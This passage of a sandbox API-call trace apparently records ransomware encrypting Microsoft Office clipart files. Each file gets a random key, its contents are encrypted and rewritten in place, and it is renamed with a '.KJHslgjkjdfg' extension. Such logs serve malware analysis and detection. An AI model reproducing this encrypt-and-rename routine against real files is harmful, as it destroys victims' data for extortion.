lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.530] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.530] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.531] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.531] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.531] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.531] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8f0e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8f0e, lpOverlapped=0x0) returned 1 [0232.532] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8f10, dwBufLen=0x8f10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8f10) returned 1 [0232.532] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.532] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8f10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8f10, lpOverlapped=0x0) returned 1 [0232.533] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.533] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8fe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.533] SetEndOfFile (hFile=0x130) returned 1 [0232.536] GetProcessHeap () returned 0x2ef0000 [0232.536] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.536] GetProcessHeap () returned 0x2ef0000 [0232.536] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.536] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf.kjhslgjkjdfg")) returned 1 [0232.538] CloseHandle (hObject=0x130) returned 1 [0232.538] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x283c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00183_.WMF", cAlternateFileName="")) returned 1 [0232.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.540] GetProcessHeap () returned 0x2ef0000 [0232.540] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.540] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.540] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.540] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.544] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.544] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.544] GetProcessHeap () returned 0x2ef0000 [0232.544] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.544] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.544] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.544] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.544] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.544] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.544] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.545] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.545] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.545] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.545] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.545] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x283c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x283c, lpOverlapped=0x0) returned 1 [0232.546] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2840, dwBufLen=0x2840 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2840) returned 1 [0232.546] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.546] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2840, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2840, lpOverlapped=0x0) returned 1 [0232.546] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.546] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.546] SetEndOfFile (hFile=0x130) returned 1 [0232.549] GetProcessHeap () returned 0x2ef0000 [0232.549] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.549] GetProcessHeap () returned 0x2ef0000 [0232.549] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.549] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf.kjhslgjkjdfg")) returned 1 [0232.551] CloseHandle (hObject=0x130) returned 1 [0232.551] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a0ad00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a0ad00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x514c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00190_.WMF", cAlternateFileName="")) returned 1 [0232.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.553] GetProcessHeap () returned 0x2ef0000 [0232.553] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.553] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.553] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.553] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.563] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.563] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.563] GetProcessHeap () returned 0x2ef0000 [0232.563] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.563] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.564] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.564] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.564] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.564] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.564] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.564] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.564] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.564] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.565] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x514c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x514c, lpOverlapped=0x0) returned 1 [0232.565] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5150, dwBufLen=0x5150 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5150) returned 1 [0232.566] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.566] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5150, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5150, lpOverlapped=0x0) returned 1 [0232.566] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.566] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.566] SetEndOfFile (hFile=0x130) returned 1 [0232.569] GetProcessHeap () returned 0x2ef0000 [0232.569] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.569] GetProcessHeap () returned 0x2ef0000 [0232.569] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.569] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf.kjhslgjkjdfg")) returned 1 [0232.572] CloseHandle (hObject=0x130) returned 1 [0232.572] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2090, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00191_.WMF", cAlternateFileName="")) returned 1 [0232.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.573] GetProcessHeap () returned 0x2ef0000 [0232.573] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.573] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.573] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.573] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.573] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.574] GetProcessHeap () returned 0x2ef0000 [0232.574] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.574] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.574] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.574] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.587] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.587] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.587] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.588] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.588] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.588] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.588] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.588] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.588] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2090, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2090, lpOverlapped=0x0) returned 1 [0232.795] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2090, dwBufLen=0x2090 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2090) returned 1 [0232.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.795] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2090, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2090, lpOverlapped=0x0) returned 1 [0232.795] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.796] SetEndOfFile (hFile=0x130) returned 1 [0232.798] GetProcessHeap () returned 0x2ef0000 [0232.798] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0232.798] GetProcessHeap () returned 0x2ef0000 [0232.798] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0232.798] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf.kjhslgjkjdfg")) returned 1 [0232.800] CloseHandle (hObject=0x130) returned 1 [0232.801] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x280c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00192_.WMF", cAlternateFileName="")) returned 1 [0232.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00192_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0232.802] GetProcessHeap () returned 0x2ef0000 [0232.802] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0232.802] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0232.805] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0232.805] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.806] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.806] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.806] GetProcessHeap () returned 0x2ef0000 [0232.806] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0232.806] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0232.806] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0232.806] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0232.806] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0232.806] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0232.807] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0232.807] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0232.807] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0232.807] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0232.807] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0232.807] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.807] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x280c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x280c, lpOverlapped=0x0) returned 1 [0232.808] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, 